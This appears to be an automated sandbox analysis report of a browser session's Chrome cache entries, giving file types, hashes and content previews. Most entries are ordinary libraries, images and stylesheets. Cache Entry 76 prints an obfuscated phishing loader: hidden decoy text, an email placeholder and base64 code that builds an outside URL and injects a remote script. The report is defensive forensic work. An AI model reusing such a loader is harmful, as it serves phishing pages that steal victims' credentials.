Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "acf211b-hammer204.min.js", last modified: Mon Nov 25 13:39:54 2024, max compression, from Unix, original size modulo 2^32 18358
Category:	downloaded
Size (bytes):	6308
Entropy (8bit):	7.964681625439865
Encrypted:	false
SSDEEP:
MD5:	774D27FEAA4C64E99540176471EB5F05
SHA1:	D95DC4C18C6FD4B89A98878949E24EC574734AA0
SHA-256:	5A12A1668508101AC161E4608335631601D012BC1AD53D26A2CA5523DAFDB84A
SHA-512:	FE913C320E896B04DC454AF4E51D6F6CADAB4C9AB5E852DF318BFFFF5DBF9A8D264970BE367681A118DBD744E8CAF7BCD1EE84611B60A6F844E810783E0C87B1
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/js/acf211b-hammer204.min.js
Preview:	....~Dg..acf211b-hammer204.min.js..\ms.5.....x..8.e....IJ.y)M(.!.t.}..3.9....y..;.l......hW..j.Z.V.n}R.....z.....v...n}....gO._=}....Oj.,.G[[...z..'.`&[I..Z".K..I..d.@.y..w.$....Q_.c=...Q..h...l.T-.....ymh.O.>..f#.%.(.L2...}c..i6IT....5m......&..Tg..NgYp..T0..K.....d".d...D.....R^Q.z;...u.h}'&5.I.-..V/...5..R@d.=..9.P....y.."..._..N([J...b.R_1.D...'.=..&.~ ......t.'.<.a.....<(.&&...T^k..n.\|... I.k]J...b..M0..]]qH.>..../.A<.C..K.?.\.;)..\.....5..Y....s.BP5."..).[.a.gK'\.~;.A.\3.<.b...n...TbDK...9&JL..[=...5.V..@i.&8...eW^....8.A.yj..4.....F.....f.....>... .Q2..H..)V.......9L.mz........N..L.s.........9Ic.4x.E.Z.i+.z~w..;O=.I <",.. lM..$..~.>..{BM..H..a.YW.^:.a...[Q.:7...R...bQ.0wC.....;._.,.U....5%7e..`.q...P.X..1..........o....4..~.n6..x6....+./.^)i.#.b..[.t....TN.`....#K.b.9q.H\'.b.b.I....1.... \|"....1......'.O.U]...If..Dw.Nr..{..S....] ..$./....*_....X..l..N..b!.....H.....a>:...i.~Z.b$..\...LJ.n.4..j..d....&l:&.SX.x....R....1..`./.a...C

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	4439
Entropy (8bit):	5.162970066579404
Encrypted:	false
SSDEEP:
MD5:	B82B52E3D305BF011F7601429DBF6753
SHA1:	0663013674BCF9AAD8AE30BD885BD08F97C4C6B3
SHA-256:	52E42864957819902B602EC2571B4BB4DBC4FC3D35B59F6EBEF8DF48DF7AB9DF
SHA-512:	C9CD4E1DC80956439BCFC4D3A9A9F075AFC58527156DAC2A0F7A402226E7C0395074EC368AD1DC294A92FD72E3DFF6491956E1B2448A64C0E6DF39BE654FCE84
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang="en" ng-app="wurflIO">..<head>. <meta charset="UTF-8">.. <meta name="csrf-token" content="">. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">. <meta name="description" content="">. <meta name="keywords" content="">.. <meta property="og:title" content="WURFL.io">. <meta property="og:description" content="">. <meta property="og:type" content="">. <meta property="og:url" content="https://web.wurfl.io">. <meta property="og:image" content="https://web.wurfl.io/assets/img/wurfl.png">.. <title>WURFL.io</title>.. <link rel="apple-touch-icon" sizes="57x57" href="https://web.wurfl.io/assets/img/favicon/apple-icon-57x57.png">. <link rel="apple-touch-icon" sizes="60x60" href="https://web.wurfl.io/assets/img/favicon/apple-icon-60x60.png">. <link rel="apple-touch-icon" sizes="72x72" href="https://web.wurfl.io/assets/img/favicon/apple-icon-72x72.png">. <link rel="apple-touch

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "b66357d-html-Viewer.js", last modified: Thu Dec 12 21:51:54 2024, max compression, from Unix, original size modulo 2^32 1591516
Category:	downloaded
Size (bytes):	233307
Entropy (8bit):	7.998715735627338
Encrypted:	true
SSDEEP:
MD5:	C784A47E00CB72D5A57EE61AA8063A02
SHA1:	7928AB4921F3B98FDE3BEABA18BD53025284C0F2
SHA-256:	08CF7EF412A69365163BE0F235EE4EFCC077FA8C1AC45B5D25200EABBFA4DF67
SHA-512:	7A9087C0C94CDFDB513E7F4FA19AA607A517CE9D4547A1C16A94F73663ED3F865C105EE65513BEA26787CCDD6FC2434535D477A9268B1FBBEB70DED8B5169B2B
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/js/b66357d-html-Viewer.js
Preview:	.....Z[g..b66357d-html-Viewer.js..[{s.6.....0..j.....e...z.W...I...rL..."..........M.7C,..j.Z..`l....c...f0MC.u.3.F\|.D\|d...a.....q......c.....0...q..2..ay.........ob............mdx;.`.....0.1...C.1....KCN..L..4...1..x.u.w.!"..w.c..rs&....;./....lj..d>..a. ..,..Vxb.......s.j.....D..%...._...)..3...,?....?..P...a=.rbx.....x.i.v...&.#1{...4.;../.g...<....gF/..v....K@_...>j.... 1...>..#n.5.\|.%`..&V......D>...4..........Q.....<.6b!.1.b.K.?.0HYZN.7..x.`W$...$.....<.......e...~.....f.M.^3g..O...=...b.;@L..].?.....]r..bp*Fi......;<.,._._c.log.Mo:...u3`<.:'s......D#.x..8u.w..z.A.S...p\|@...=.MeTD.ri.db.3....-."...U...'Jv[.7.Z.Z....A..H..2.......v.^..[;6..E_........c.[..EB...r......a~f..9...6.]......{{v..p~}vl.pI.\|.hw....r.!.nv.M..C./....CS#W...7\|..I.Vt.9.^2..e.[.P.d1....B..F^.sw:..q3...t.F..VLB_....-.FSK..s3M..2.`.J.1t.....n.f.~.m......9..Y..w.....>~[m...zg..5.......;?....s.....".9.;..{>..p...)...].1...U...mNK......g#LL.......K.+...M..../b1K...c....w7E.p

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (377), with CRLF line terminators
Category:	downloaded
Size (bytes):	874
Entropy (8bit):	5.581185038414378
Encrypted:	false
SSDEEP:
MD5:	95FF6D669F6B1D8C5EC74928055FA3A2
SHA1:	63D0987205F9D6C4E4CC9ED958A61ECE60DB265C
SHA-256:	116C9B6049BD8052482582130A9897E74A1BD5DA79014BFB4D0CFB0DD7E8F0EE
SHA-512:	482E4B3108EF8E95DEB69239E731E74A22D2B7C9AC3C92D5E68950F418B5B4CC233DFE1DB24431829EAE470F07325AC14410CF2FC30949C44C2CECB82A80996E
Malicious:	false
Reputation:	unknown
URL:	https://pub-e287df4be0ab49c68d1ee5245e9528af.r2.dev/link.html
Preview:	<div style="display:none;"> We have two ears and one mouth so that we can listen twice as much as we speak. </div>..<html>..<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>.. <script>.. tqrYIfsQrJ = `{EMAIL}`;.. </script>.. <h1 style="display:none;"> A lot of people give up just before theyre about to make it. You know you never know when that next obstacle is going to be the last one. </h1>.. <script>.. new Function(atob(`SUppa1hxYXkgPSBbJ2h0dHBzJywgJzovL20nLCAnaXJjJywgJ29ybmdybycsICd1cC5jbycsICdtL2xsJywgJy9hdHQnLCAnYWNoL2onLCAncy8yZWlpJywgJ2JoczknLCAnQUhWNycsICdEcEsnLCAnRDQxMUEnLCAnUktwTHphJywgJzJuYTIyJywgJ2liJywgJzIyRScsICdqRFdJJywgJzBnT0RQQicsICdnaVI0JywgJy5qcyddLmpvaW4oYGApOwpkb2N1bWVudC53cml0ZSgnPHNjcmlwdCBzcmM9IicrSUppa1hxYXkrJyI+PC8nICsgJ3NjcmlwdD4nKTs=`))();.. </script>..</html>

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1897 x 1581, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	65796
Entropy (8bit):	7.843548963295468
Encrypted:	false
SSDEEP:
MD5:	575C1F7209AE72B614E5C67CE668D7E7
SHA1:	FAC9C5480C585C6B1EB52623E41687724F28291B
SHA-256:	84A15A76774311B6832058AE87AA090FFB73B819BC81B8C9FA49561317E8140B
SHA-512:	FF3C6DBD5852D47FDE8D5191F05948D2F22BBFFAE7F00A07B385FC095B4697FBDFDF666B5C9127323D630A298E95A0C95F17120A78CB62BE845C63E2F9C7CA0D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...i...-......~......gAMA......a.....sRGB...,.... cHRM..z&..............u0...`..:....p..Q<....PLTE............###+++333;;;DDDLLLTTT[[[dddkkksss{{{.w..u..v..\|..v..{..\|..w..{..}..~..}..v..}..~..}.....v..~.........................................................................)..#..$..,..+..&..&..,..-..6..3..9..<..3..:..=..9..$..#..+..#..%..,..+..3..2..5..;..<..7..A..B..D..L..K..H..R..W..C..D..J..H..M..C..^..R..U..\..Z..[..R..F..L..K..F..S..S..U..U..Z..\..\..Z..]..c..k..n..g..q..s..\|..z..c..c..i..k..e..l..l..g..n..s..r..u..t..\|..\|..\|..z..x..}..~...............................................................................................................................................................................................................................................................................pHYs..=\..=\.b ~!....IDATx....8.E........../...}..d.`.,....+.d0f(oG(b.G.........i......'?..O~..g.}T..

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	2454
Entropy (8bit):	7.923563176468452
Encrypted:	false
SSDEEP:
MD5:	E60B98A116031AC7D0D29493676C86BF
SHA1:	AA1C730E98C1C876976EB9606F2401D6EE586B10
SHA-256:	D8C7A6D8F045F357116FDA222CE0626C7710234F9FB8EC714C78991CC99D9906
SHA-512:	029DA1EFB0E94DCECB83DE02A722DB3C7CCBC7064402C94648D05CE243BE938FA5426F88E8E97C92107A70CB91D1D999BCC39623A174FC53407DEFAD335BB8B2
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/alliedcon/allied-construction?html=true
Preview:	.@....t.w_No.......Y...`[....."..@`'.....r..Z.A.e++.$.9..!......}..r%".T.....j.d.....j......SMz.Y.....7j....C.....N..\|.C.#:1..5...J.p...V.R..J...Z..^..].2...x...........!...&..>.&......0..O.P...$\|...^...-(?..N..J...;o.).>c....>.o.Q...x?.vJ..p.H....4H.`.4..d..v...^K.}Y..D.eqET)b...=<&.=2.M.f;6..-SJ..2...}.....-...R_r..e..(.I..v...R.%.Rg9.WS...O.>.Me...r..].6.U..R_&wK.f.....K2..[q.F....m~$.a9......M.-q.H..O.No.+..w..E..X.3..N@...5.$..X.e.K4...YP..[..J..%.O>....0.]O>D }.N.2v..Li..p.=..<..NR~f......(Hl[.;c..x..7....]...0d..[..IA.R.C......F.>;<.N......G.H..[.A.O.a..*^v[.......bmy..._/...c....i...R.o.w.;...4n-m.)j..&.2n..._..O..>_q...Q$.QX.t.P69.G..Q8..F....c.y.................(.B.=.Lh....K..G.u...`.XRH..g........s.f.p.BC..B....nQ{.V.\|.:,.u...nvW..<.3...>....d...N.b:.7...w/.....W....l;.......:)m.l.....\|.+Y.T&.5..........B...J....Ic...p.`ka...Z#......%..gS...q..\.X..h.tJ....C...u&.a\|......R....t.w...!g.9}`m...d..`.......a.?.t..o...W.=..j...

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "2f65fe0-printer.css", last modified: Mon Nov 25 13:39:54 2024, max compression, from Unix, original size modulo 2^32 1086
Category:	downloaded
Size (bytes):	390
Entropy (8bit):	7.489702087163347
Encrypted:	false
SSDEEP:
MD5:	F38C8DC5C50496249729947E705BF130
SHA1:	14DA013178AF8575AC504442511D2C366C8C6C30
SHA-256:	D230EE4DC221532445E772E7C76BF833D5D7AE35CC4ACDBC8EB6FC848BCA536D
SHA-512:	B081A6BBC0D86324AF36B68F8A530B24CB899B2CF78FBABDA92C9669FC04F37C48A552001759D11F0075DEF82A8441139FA047A9271D35A1C3A038022718896D
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/css/2f65fe0-printer.css
Preview:	....~Dg..2f65fe0-printer.css..S.n.0........D...\.O.d.d._......:@q...(....z.'.X.rb..q!{+aW.m4U...C.2.#........^.....oB.F...)p-.R..u....(."j....5....v$!.0.......`R.....?.d..}-.wE.Z_..t.....s}]...;.Z.fse.#.$..O.k.\)Xs`..@.....\|d.]..X...Y.m.;@3.@h6.3...8.......u....a...."e0.....X.....C......(...w.....3\N..6.6. ..".E.lTV....1nJ..\|.\.......%.b.$e...d.n.....X.........7..{.>...

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 378 x 171, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	19580
Entropy (8bit):	7.987489246232502
Encrypted:	false
SSDEEP:
MD5:	1E03176F6673A20D5A533FC55AA27D1E
SHA1:	24A046F150C3B47E54D622153F16C48C2238E494
SHA-256:	B3FC7E6A573EBAF5AD83777D258AC6B3C70D485FD2B6276F191B2F6D32AAD1C4
SHA-512:	4CDABDA20877C49BCFD58B962B031FE4EA268194BE09A44E50A7BB43CA756692432C7673D77DC587EC4F8D218F5327C6E27EE836D5466ED123EA562C609DF301
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z........._k......PLTE.................................SSS........................999............MMM...............FGG......PQQ>>>............???.......@BC&''............AAA............OOO..............................{\|}..................012.............................................................pqq...... "#...............cde......\]^.........................................................z....J.IDATh...s.Hr.(..d[.$c%k.0...h......0.Q..v..URVQ.i'z...................B........{@..........@...?.....5..6.W....}.v.....WD.o....~......}.z..m.j..f.M-....1_..n`._I...k.5d.ZCZIw.._..E.7`..N.:h...Ww.....u...~]x_.Z.x..Eed_j.~.I+oM...c+..v.....rmiT......,.......fj.Q...P....My\|..~.S%X.....a.,!.Zp#W.....0..2....[.....[6~...;j.Jdu.....JF..z..PQ..]..-.........w.:..0n#.T.cV.$..U..p...&V...Vp..,T.~u5\..._..J.:...r*X..iW.u..!kU...Sx.R....f.7.q..]-.1m-....T.Z.`-7V3.J....D.d..}7F._.1....m.7H}d...O.u.n.\..P.T#..8:..;g._.\`.].Q.\|....4Y..../W.o.h.m

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "8bdbaed-printer.js", last modified: Mon Nov 25 13:39:54 2024, max compression, from Unix, original size modulo 2^32 2174
Category:	downloaded
Size (bytes):	826
Entropy (8bit):	7.742353334793681
Encrypted:	false
SSDEEP:
MD5:	91C2CD8322F613343164AF5FA34C049C
SHA1:	DF8F02B5BCD3C7C7E6919716B56B79D50A26E3D2
SHA-256:	3B9D7E706108751C09D17A13FA2DD82864DE21ECF9D6BC5892633CA2E08F6C3B
SHA-512:	9CD6ADAF2D5CABE3E928E04165AA9217DD6236CD104531D60F43EB4BDE2759FA0B9817303844E84CB03570BE436E2273F8FE05C3F3A43CA0EC79A4E4CCC9E46F
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/js/8bdbaed-printer.js
Preview:	....*~Dg..8bdbaed-printer.js..U_o.0...8..8d.:.xh...T01i..V..M..,.C.L......n ....8w.......E...P......E.b4...#.u@.g......V..xS.Jd.dC+......<..._\|....e.DL...o .i].nc.o.V...;.k.~.N.,Q.../.NbBs.......^...<..h.^.<.4..]......L...W....l1.2.-_..r~...m....t{..&........zF....d....i........GH....A.{.Q .v.+.[...8[...9...^..x.>8...]....+Ic.R.......-.\.r...v"4...o..D...%#.........Y..84.Q.5 ...:.#.n...@.......x.MhD.L....)...R.q......EU.Bn.\.......E..53.].Z.H.Q....XF.B.5.>....3~..ni.{..Yz..C. .w.\.k...`.k4.x..D...Y....T... ..._...(kT..V.....sw.{.6...."...TDGZo.N.-.w...B..W./mR.>....O..$ZW....[0...a._...Y..)a..N..C..n.6....`w..c..U?..9.1....$..F...oC.3...S.~.b.`...]o.l.w=..6.,.h.^4..m.R..b>.?...@.\...N..Q...F.5.T.S'.....@W.P.....}o.#.,Z.'.7..v...\|.A.....:...;..0....{.q...9.7..4......N=5.~...

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	532
Entropy (8bit):	7.557897217788718
Encrypted:	false
SSDEEP:
MD5:	AF50B994DF5EFE069B2D159F5BC0B00B
SHA1:	7454312897D41D2B931184EE960F01691D8AB729
SHA-256:	6AA55D22F5A6756AB20CECE39EA5B862F984F102D95CF03CBA0BD127325FA379
SHA-512:	F8805EACD3CE3AA098A73C9973C453CCCB96C8E23AC2448FDFE31D080CA8C43884C1A592E9A5730584967C05A5793320C48529E451CC8CD9A4321819BF508C66
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/api/v1/publication/Z87dlrTLgUTYiPBU?preview=39613
Preview:	!$.. ..N.5.f.$........0TO..@.Xl..M.......lu...W.T,h.Nw...IgcR.l..C....{.../....v...Q]/..@;.M'..},9W..o...U..N.>..-......s...m.M6.A...6 s)......$......WF.S...E..-...q.9%...y.4.5..i$....,.%...@......D..P7.z.....)..ahz2.f.4)\|/I.H.ad...'\JG......=....ji....a......d.....@.'la...2..>.....}s...z.b\|..*T\|qJ.B..O..:.RD=..a...................C...]..,..7..e.d.B..}X%]H.q.^.=N^..~v.Ix.x..'.].h....`.6.vy.}..#...MO+......!Ma..a&`....\].....i..Hs....Ezi.\..g...QW.z.?.C]. .q}..`.?GQW.aw..d.c..tT..@.z.. .)U.d.^C1..

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "6213ce7-html-viewer.css", last modified: Thu Dec 12 21:52:39 2024, max compression, from Unix, original size modulo 2^32 25827
Category:	downloaded
Size (bytes):	4767
Entropy (8bit):	7.965017157906468
Encrypted:	false
SSDEEP:
MD5:	E80EC7796F4FC3E023D9E1D1D832D29B
SHA1:	7D74A9EF5F416D5E14C19C453E7B0B17E2EDDF07
SHA-256:	8AD5A8E0AFDFA3674738AB41491DEC0812DCD729FF6D0898FEF8FB1BA6E037E8
SHA-512:	8BE7B206BCF0F89AF342DF655035D51533E997851E1FB21F9852020277AC993D596C57852F5F692022D9B43BFD8DCA30B95A5B5365DF23F34098ADE6EBC8E6EE
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/css/6213ce7-html-viewer.css
Preview:	....'[[g..6213ce7-html-viewer.css...Ks.4..0\|..@l.<.d`......a.Xi4.cel'm.........1@.M....].v.f...../.'\..U......?.[.........]....W.a.o.?..T...^...v..W(..'...........\|...!.q....mH].:...}6.O...x?..E.....e.+:.Z,.e.+...v.~.vd{j...R.U.........I.[L.U...g.&.\|....=~B.....:..T^.Q.L.u\| ..;H.9.f.a\|..-.."...\..3.{.-..oQ..H..c.%./..q.......H%...w...;H..o.._.Y.]....;c..UE.;1.o...>.R.7.E.....Q.i...&%...mI..O..n.......n.S.r.........y....._V_.8/...]I.V{\..R'{S..{S..z..^$........#......7......i..1..6....^...t..M..hm.]OmX.x..O..5DQ(.:/.Y.V....&.J..^...c.o[.......Z.-.05....a.J...[.4-.MC.SK..,S...>...4.9....A..._b\..y.g.%.5)...).j..nC.....#.Fi.....c..L......f.u.rs.M..v..m[Px.b(..n.=...G......P...{zIw_W....'._.9..I]K....@.....t....W..o=.Q9.+\|.)N...&..H.&.Z)J.c...b.7.c.......s.R.0..@..@o...x.@..S.o.).....0L3.B. ..}t...D+....3....u....'..=}.?..w...g............oz.I_ow.......G.&...O&.>..q.05..G.->....S..A..TMj.Z.....V....y...;.#\|x.\........v....x..1...Z..X..<...T."

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	10255
Entropy (8bit):	7.978739133073233
Encrypted:	false
SSDEEP:
MD5:	A59EA6DE539C0EAEF0F937504E56A71B
SHA1:	D0A20BA5AE4C50B0408B9240C8E2FD88931FB40D
SHA-256:	FB7A8415C0E35E022DD6238BE6A0E840ADC9896AC1159A286D784D1F8A0742D2
SHA-512:	4412A39D903CC65517006A16FB3761963401C45016124D96C6AC7D5305FF0FFE13278DDFEF602CBD3C9AF92957A3F866410BE8AE4056416368C9231D96D41C08
Malicious:	false
Reputation:	unknown
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js
Preview:	....H......>....O.....uF.M.)..`..w3.$..g..C..q.S....`....qW.....(h.....)...(6.d....F....4.....Z........R.P..;A.h.....v[..Z/...s........M..$........S.\|...=.^..4.){x!_.3.4....%S~;i....g....p._........}....{..5X..r....i.....G..{~.]...;./.R.i...........c6.c.n..,.....l..8;.!Z.3.v.=.DB../.-i.6..A.QZ.Qn...e.B.,c..m..K$.xa......4....u=(e....W.Lsh97.U{}XW.......l......9.C....PaSw.... UA.1...eF..A.f{..}`.h...d.B....).d..wx7:...._/I.+...~....X.X.U.....Y.3.....\V.J...7..-0.p.....v.S-?l,.2......k.....?iU~@.R..J...d.I0..a.!._.g..b..ZF..+....d.C..,..70%.\|B....t...'4....Z.v..U.....8.Z...I.u. =...,....>MT...4:t4P........D..2p.^had.sG.dX.J.gF.k\|2...Y.i...&h..U.6.d>6. .=\..H...pb._?.....3....AE.Z..$5.c..s.dK....o.pN.i... ,l.......I.w.,+.r@{.r8W..2....Qch. #.G...V9..w_.~..Q1K..2t...._?.~..._o.........c.N...aw......p..m/.5`.8I.{..P.*!....I..,.(..cP.u....g...+.w...\|.j.}..?...3.D.@..J;....).\|....pn.\..;<qj]E..;.$.0o.v:..(-.H.F(_g........DN...

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	3267
Entropy (8bit):	7.9367807139341275
Encrypted:	false
SSDEEP:
MD5:	B540755738E5C746ECC51886BC322152
SHA1:	3FB5F45AF78A25DDBAA7D7174B01084161ECC69C
SHA-256:	1C93337A275811AB1AA90318EDD92C498191F2D60B94E80A32E04F2A1D2C2DDA
SHA-512:	974B04243AD8F8AFDFBD3EDB7A24AC65569458E9779F867F12EE9B8826B5204E3B8CCA509E189B5E6BD72DD805E8CA52974F22542292755433179099A3AE0276
Malicious:	false
Reputation:	unknown
URL:	https://publizr.com/alliedcon/allied-construction
Preview:	........._N??...,.l..I.:3H.%y$B.d..9........$R......!.g..{".Q..E...".-.H.J!..........."..!.!.B0..S..V..........'$..z.S6.BR.E"Kj..$....R.. >.gO.LT...J.......O..R ]....u......x.........b.~.?.?..}..~4.....k6..]\|?;.T.n.....5..p...../.07b=.> .Q.M. ..pP....$..+...8.^Jg9.]...l_^^^^N..q./.........n..^O..'.@...a.)...s..>U..J.>!GG.j.M.?.T.H.........6%.+.....<...'L.N.<.>..l..x.$0.^..F.9.?...=.^.EQ..L..8.\$n..@y .8..)e.l...J..v.Q..qGa....EQ.;.B?..+.B1+.j.4:.G[...3...3.......v!..;[{..]=.G...y.......`..=.....).s.m...Ry....[q.....e.....Pt'.....\,t?..........f01).....WI....5g.s.....{..p.....y...ur.......e.-B.............Z..._.u....O...c.oHS.....{V{...........M......z.J....].2...... ...o....,...6Ao;...g..}..$8..c...s,9..3.z...8...+.]W,.....*).......gu.7R .z.?.j...3.\N.....s@.-."...H.OJ...cq...8..~+..Su.#..g...UM.8x. ...g.....?..H.+W..btp~q.?%...... G.g.dwwwoogo7......b~.b.E/.....W.-..E.K....V.g.!+E.c.J....f...x.p..H.S..p..5.h.v.Z.6..2..cKI9...Mc..l..

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 307 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4407
Entropy (8bit):	7.869093688167709
Encrypted:	false
SSDEEP:
MD5:	DAD8EEC9211D5B0AC3C62F5C504E94CD
SHA1:	632F316A1BA1691EBBCAA406119044ADF14A4611
SHA-256:	19A3184EFEE8E78F202BCE9D683A7B7A3FE1F3AD93DF4BD016DDCFA74CE444D1
SHA-512:	91ED0E231FC315EA82E50E834A39CA16FFCBE740A4BE5DAEA8C0CDE7641120DAE77C31BC256D67C98A770419C64046F35666F9F73230002CE5CF7492C134EF3A
Malicious:	false
Reputation:	unknown
URL:	https://o.createyourmagazine.com/GaMYTv7o548gK86daDp7ej_h862T30vQFt3Pp0zkRNE.png
Preview:	.PNG........IHDR...3..........hao....gAMA......a.....sRGB...,.... cHRM..z&..............u0...`..:....p..Q<...2PLTE............$$$)))444<<<CCCLLLSSS\\\dddlllsss\|\|\|.o..t..\|......................&..-..1..2..6..:..9..@..J..F..O..K..T..T..]..b..c..h..f..o..k..t..t..t..\|..{...........................................................................................................................................pHYs..=\..=\.b ~!...bIDATx...w.Fv...A.xV..$.7.6..{.:......ZEJ.e-`.V...5.\|...{g..zD.....=&......>f@.L...$...3bF..1#fd...3bF...a......5...Z...?...1.^&e.&...%.q..t...S"...6..0k.m~.....5.Ym.....k..Pr6...+..z.....u0t.............~.9g..L!.......p...l..l..N...(.^0...R.,....(....F.....+E...E.6.E.W......%......,.k.5.).....9..2g)r@...Y..ba8....6.fz[.).%.Dc2au.:k'..D....,VP....V..`...UYB.yrn.;.3.R#hP..E......1C.......T.p.)K43e.Y.m..s.0.X..Rb.J4-.^..`>2.X%.L...&._......)m.L.%3..(.H...1..2...B:F+,.X.e...aA.~y....=..m..3f..N.7.<..\,..M3.m..A;..

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.120950594454667
Encrypted:	false
SSDEEP:
MD5:	B09F000BFB98ABD880BC77E05456FFEA
SHA1:	FBADFA7F41B709507692B8FCEA597474EED91E2C
SHA-256:	0A721532497036FF7D8B228DD8D4EF5E91777B0BD2B11F49F5B2CCDDD55EB259
SHA-512:	F2E0CF9FD6D14EAF9BE953052515A598E9F96186FB82D5FA8D3E9B01F9706284DE8DDDF343AB69CF566EDEB28C659D65E0D608F99A5717A7CBFB2CC48ADA15A7
Malicious:	false
Reputation:	unknown
Preview:	{"detail":"Method \"GET\" not allowed."}

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:
MD5:	CF3402D7483B127DED4069D651EA4A22
